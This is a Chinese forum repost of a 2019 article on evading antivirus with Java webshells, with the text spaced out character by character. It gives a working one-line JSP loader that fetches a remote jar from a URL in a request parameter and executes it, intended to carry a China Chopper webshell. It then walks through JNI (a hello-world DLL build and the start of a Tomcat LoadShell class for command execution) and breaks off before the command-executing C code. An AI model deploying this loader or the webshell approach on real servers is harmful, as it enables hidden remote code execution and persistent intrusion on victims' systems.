搜索

[6062] 2019-07-31_webshell中的分离免杀实践-java篇

文档创建者：s7ckTeam
浏览次数：121
最后更新：2025-01-17
2019-07-31_webshell中的分离免杀实践-java篇 声 明 描 述 方 法 一 :   远 程 加 载 j a r   包 w e b s h e l l 中 的 分 离 免 杀 实 践 - j a v a 篇 W e i r d B i r d   E 安 全   2 0 1 9 - 0 7 - 3 1 由 于 传 播 、 利 用 此 文 所 提 供 的 信 息 而 造 成 的 任 何 直 接 或 者 间 接 的 后 果 及 损 失 ， 均 由 使 用 者 本 人 负 责 ， 雷 神 众 测 以 及 文 章 作 者 不 为 此 承 担 任 何 责 任 。 雷 神 众 测 拥 有 对 此 文 章 的 修 改 和 解 释 权 。 如 欲 转 载 或 传 播 此 文 章 ， 必 须 保 证 此 文 章 的 完 整 性 ， 包 括 版 权 声 明 等 全 部 内 容 。 未 经 雷 神 众 测 允 许 ， 不 得 任 意 修 改 或 者 增 减 此 文 章 内 容 ， 不 得 以 任 何 方 式 将 其 用 于 商 业 目 的 。 前 段 时 间 看 了 倾 旋 的 分 离 免 杀 直 播 ， 感 觉 像 打 开 了 免 杀 新 世 界 的 大 门 ， j s p   中 使 用 w e b s h e l l   同 样 也 有 类 似 的 手 法 。 下 面 就 让 我 们 一 起 来 看 一 看 w e b s h e l l 中 的 分 离 免 杀 实 践 。 原 理 原 理 写 一 个 l o a d   脚 本 ， 利 用 j a v a 反 射 ， 可 以 远 程 加 载 j a r   的 w e b s h e l l   （ 画 重 点 ） w e b s h e l l   实 现 实 现 1 . 利 用 j a v a   反 射 知 识 ， 首 先 写 一 个 人 畜 无 害 的 远 程 加 载 j s p   脚 本 , 通 过 远 程 加 载 的 方 式 ， 把 远 程 的 j a r   文 件 进 行 加 载   ( 有 害 代 码 里 都 放 j a r 里 ) < % = C l a s s . f o r N a m e ( " L o a d " , t r u e , n e w   j a v a . n e t . U R L C l a s s L o a d e r ( n e w   j a v a . n e t . U R L [ ] { n e w   j a v a . n e t . U R L ( r e q u e s t . g e t P a r a m e t e r ( " u " ) ) } ) ) . g e t M e t h o d s ( ) [ 0 ] . i n v o k e ( n u l l ,   n e w   O b j e c t [ ] { r e q u e s t . g e t P a r a m e t e r M a p ( ) } ) % >
2 . 远 程 部 署 的   j a r   里 放 会 被 查 杀 的 s h e l l   代 码 ， 比 如 菜 刀 的 一 句 话 客 户 端 （ . j a v a ） 文 件 ， 然 后 把 该 j a v a   文 件 编 译 成 j a r   包 即 可 。
3 :     加 载 远 程 j a r 进 行 菜 刀 连 接
方 法 二 :   利 用 j n i 远 程 调 用 载 入 d l l   ， 达 到 类 似 分 离 免 杀 的 效 果 。 在 j a v a 中 ， J a v a 无 法 直 接 访 问 到 操 作 系 统 底 层 如 硬 件 系 统 ， 为 此 J a v a 提 供 了 J N I （ J a v a   N a t i v e   I n t e r f a c e   ） 来 实 现 对 于 底 层 的 访 问 。 J N I 允 许 J a v a 代 码 使 用 以 其 他 语 言 编 写 的 代 码 和 代 码 库 ， 本 地 程 序 中 的 函 数 也 可 以 调 用 J a v a 层 的 函 数 ， 即 J N I 实 现 了 J a v a 和 本 地 代 码 间 的 双 向 交 互 。 （ 画 重 点 ） D E M O 及 原 理 及 原 理 首 先 ， 我 们 来 看 个 J N I 的 调 用 流 程 图
实 现 步 骤 ： 实 现 步 骤 ： j a v a 中 可 以 使 用 n a t i v e 关 键 字 来 说 明 这 个 方 法 是 原 生 函 数 ， 也 就 是 这 个 方 法 是 用 C / C + + 语 言 实 现 的 ， 并 且 被 编 译 成 了 D L L ， 由 j a v a 去 调 用 。 可 以 将 n a t i v e 方 法 比 作 J a v a 程 序 同 Ｃ 程 序 的 接 口 ， 其 实 现 步 骤 ： 1 .   在 J a v a 中 声 明 n a t i v e ( ) 方 法 ， 然 后 编 译 ； 2 .   用 j a v a h 命 令 产 生 一 个 . h 文 件 ； 3 .   写 一 个 . c p p 文 件 实 现 n a t i v e 导 出 方 法 ， 其 中 需 要 包 含 第 二 步 产 生 的 . h 文 件 （ 注 意 其 中 又 包 含 了 J D K 带 的 j n i . h 文 件 ） ； 4 .   将 第 三 步 的 . c p p 文 件 编 译 成 动 态 链 接 库 文 件 ； 5 .   在 J a v a 中 用 S y s t e m . l o a d L i b r a r y ( ) 或 者 S y s t e m . l o a d ( ) 方 法 加 载 第 四 步 产 生 的 动 态 链 接 库 文 件 ， 这 个 n a t i v e ( ) 方 法 就 可 以 在 J a v a 中 被 访 问 了 。 1 :   首 先 编 写 一 个 . j a v a   文 件
2 :   然 后 把 该 j a v a   文 件 编 译 成 c 文 件 其 中 需 要 注 意 生 成 的 c 文 件 里 的 头 j n i . h   是 j a v a 安 装 h o m e 目 录 里 的 i n c l u d e   目 录 里 ， 等 会 编 译 成 d l l   或 者 编 译 成 s o   文 件 的 时 候 需 要 指 定 进 行 加 载 。
3 :   根 据 头 文 件 ， 写 C 代 码 实 现 本 地 方 法 。 根 据 头 文 件 ， 写 C 文 件 实 现 本 地 方 法 # i n c l u d e   " H e l l o N a t i v e . h " # i n c l u d e   < s t d i o . h > J N I E X P O R T   v o i d   J N I C A L L   J a v a _ H e l l o N a t i v e _ s a y H e l l o ( J N I E n v   * e n v ,   j c l a s s   j c ) {       p r i n t f ( " H e l l o ， h e r e   f r o m   c ， J N I " ) ;       } 4 :   编 译 成 d l l   文 件 （ w i n 下 编 译 的 d l l   或 者 l i n u x   下 编 译 s o   文 件 一 定 要 和 目 标 服 务 器 环 境 一 致 * 3 ， 重 要 的 事 情 说 三 遍 ） g c c   - m 6 4     - W l , - - a d d - s t d c a l l - a l i a s   - I   " C : P r o g r a m   F i l e s J a v a j d k 1 . 8 . 0 _ 1 6 1 i n c l u d e "   - I   " C : P r o g r a m   F i l e s J a v a j d k 1 . 8 . 0 _ 1 6 1 i n c l u d e w i n 3 2 "   - s h a r e d   - o   H e l l o N a t i v e . d l l       H e l l o N a t i v e . c 我 们 可 以 看 到 ， 编 译 成 功 ， 然 后 执 行 ， j a v a   加 载 d l l   链 接 库 执 行 成 功 。 这 时 ， 原 理 我 们 已 经 知 道 了 ， 已 经 成 功 了 一 半 了 。
w e b s h e l l   实 现 假 设 我 们 的 目 标 是 t o m c a t   容 器 1 :   新 建 p a c k a g e 为 o r g . a p a c h e . j s p ,   类 名 为 l o a d s h e l l 的 . j a v a 文 件 。 p a c k a g e   o r g . a p a c h e . j s p ; p u b l i c   c l a s s   L o a d S h e l l {     s t a t i c   c l a s s   J n i C l a s s       {               p u b l i c   s t a t i c   n a t i v e   S t r i n g   e x e c (   S t r i n g   s t r i n g   ) ;       } } 2 :   进 行 编 译 成 h   文 件 c d 到 编 译 生 成 的 t a r g e t / c l a s s 目 录 ， 使 用   j a v a h   o r g . a p a c h e . j s p . L o a d S h e l l $ J n i C l a s s   命 令 生 成   o r g _ a p a c h e _ j s p _ L o a d S h e l l . h   文 件
3 :   调 用 上 一 步 生 成 头 文 件 ， 编 写 有 回 显 的 c 语 言 代 码
编 写 具 有 执 行 命 令 功 能 回 显 的 c   代 码
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

Archiver|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理